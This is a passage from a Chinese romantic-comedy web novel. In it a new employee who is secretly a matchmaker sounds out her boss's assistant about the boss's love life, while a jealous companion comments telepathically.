“不客气,应该的。”方守依靠在隔壁工位的隔断上,自己也拆了一袋,语气诚恳,“说实话,你来了之后我轻松多了。这些琐事你处理得又快又好,我终于能多跟跟业务了。”
机会来了。
桃喜宁眼珠一转,状似随意地接话:“方助理过奖了,都是分内事。我多干点,白总是不是也能稍微轻松点?比如……有点工作时间以外的个人时间?”
她问得小心翼翼,带着新员工对老板朴素的关切。
方守依搓了搓下巴,看着桃喜宁,眼神变得有些玩味:“你还真是……特别关心白总啊?”
他忽然往前凑近了些,压低声音:“难道……”
【凑这么近是想干嘛!】敖翔的传音毫无预兆地炸开,带着一股莫名的警惕与焦躁,音量震得桃喜宁耳膜一嗡。
“难道,其实你暗恋白总?”方守依挤眉弄眼,终于说出了他的重大发现。
桃喜宁:“……”内心一片平静,甚至有点想笑。
完全没有。
事实上,她双手双脚支持白总现在的恋情,堪称最忠诚的CP粉头,日夜盼望白总能从工作中解脱,好去跟林渊傅双宿双飞,让她这根红线业绩稳如泰山。
桃喜宁在心里流畅地刷过一排弹幕,手上却连连摆动。
“没有没有,方助理你别开玩笑了。我只是觉得白总年纪轻轻就能创业,是我的榜样。我就是想多分担点,让她别太累。”
这话说出来,她自己听着都觉得透着股不真实的奉献感。
果然,“噗嗤——”
方守依没忍住,直接笑出了声,肩膀直抖:“哈哈哈……逗你的,看把你紧张的。”
笑了好一会儿,他才抹抹眼角:“再说了,就算你真暗恋白总也没用。白总啊,可是有恋人的。”
来了!
桃喜宁精神一振,凑得更近了些,完全没留意手腕上敖翔正暗暗使力往后拽她。
“白总的恋人,一定很优秀吧?他们感情应该很好?”
“额……还……还行吧。他们两个都挺忙的。”方守依嘴角的弧度消失了,话说得有些含糊。